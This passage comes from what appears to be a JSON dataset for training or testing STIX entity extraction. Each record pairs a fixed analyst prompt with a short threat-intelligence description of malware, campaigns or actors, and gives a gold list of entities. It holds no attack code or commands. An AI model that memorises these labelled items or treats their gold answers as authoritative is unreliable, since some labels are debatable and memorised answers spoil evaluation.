Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPay2Key can encrypt data on victim's machines using RSA and AES algorithms in order to extort a ransom payment for decryption.\n",
    "output": "<entities>Pay2Key</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMarkiRAT can check for the Telegram installation directory by enumerating the files on disk.\n",
    "output": "<entities>MarkiRAT|Telegram</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWARPWIRE is a Javascript credential stealer that targets plaintext passwords and usernames for exfiltration that was used during Cutting Edge to target Ivanti Connect Secure VPNs.\n",
    "output": "<entities>WARPWIRE|Cutting Edge|Ivanti Connect Secure VPNs|Javascript</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPLC-Blaster is a piece of proof-of-concept malware that runs on Siemens S7 PLCs. This worm locates other Siemens S7 PLCs on the network and attempts to infect them.  Once this worm has infected its target and attempted to infect other devices on the network, the worm can then run one of many modules.\n",
    "output": "<entities>PLC-Blaster|Siemens|Siemens S7 PLCs</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTarrask is malware that has been used by HAFNIUM since at least August 2021. Tarrask was designed to evade digital defenses and maintain persistence by generating concealed scheduled tasks.\n",
    "output": "<entities>Tarrask|HAFNIUM</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRecent versions of Cherry Picker delete files and registry keys created by the malware.\n",
    "output": "<entities>Cherry Picker</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nObliqueRAT can break large files of interest into smaller chunks to prepare them for exfiltration.\n",
    "output": "<entities>ObliqueRAT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nJune 02, 2020 Recently, from Lab52 we have detected a recent malware sample, using the Dll-Sideload technique with a legitimate binary, to load a threat. This particular sample has a very small DLL, that loads an encrypted file, which after being decrypted consists of a sample of the PlugX Trojan.\n",
    "output": "<entities>Lab52|PlugX</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPsylo has a command to conduct timestomping by setting a specified file\u2019s timestamps to match those of a system file in the System32 directory.\n",
    "output": "<entities>Psylo</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTiktok Pro is spyware that has been masquerading as the TikTok application.\n",
    "output": "<entities>Tiktok Pro|TikTok</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDRATzarus is a remote access tool (RAT) that has been used by Lazarus Group to target the defense and aerospace organizations globally since at least summer 2020. DRATzarus shares similarities with Bankshot, which was used by Lazarus Group in 2017 to target the Turkish financial sector.\n",
    "output": "<entities>DRATzarus|Lazarus Group|Bankshot|Turkish</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRamsay can use UACMe for privilege escalation.\n",
    "output": "<entities>Ramsay|UACMe</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRDFSNIFFER is a module loaded by BOOSTWRITE which allows an attacker to monitor and tamper with legitimate connections made via an application designed to provide visibility and system management capabilities to remote IT techs.\n",
    "output": "<entities>RDFSNIFFER|BOOSTWRITE</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOperation Spalax was a campaign that primarily targeted Colombian government organizations and private companies, particularly those associated with the energy and metallurgical industries. The Operation Spalax threat actors distributed commodity malware and tools using generic phishing topics related to COVID-19, banking, and law enforcement action. Security researchers noted indicators of compromise and some infrastructure overlaps with other campaigns dating back to April 2018, including at least one separately attributed to APT-C-36, however identified enough differences to report this as separate, unattributed activity.\n",
    "output": "<entities>Operation Spalax|APT-C-36|Colombian government|Colombian</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDDKONG lists files on the victim\u2019s machine.\n",
    "output": "<entities>DDKONG</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKazuar captures screenshots of the victim\u2019s screen.\n",
    "output": "<entities>Kazuar</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDarkWatchman is a lightweight JavaScript-based remote access tool (RAT) that avoids file operations; it was first observed in November 2021.\n",
    "output": "<entities>DarkWatchman|JavaScript</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMis-Type may create a temporary user on the system named \u201cLost_{Unique Identifier}.\u201d\n",
    "output": "<entities>Mis-Type</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake 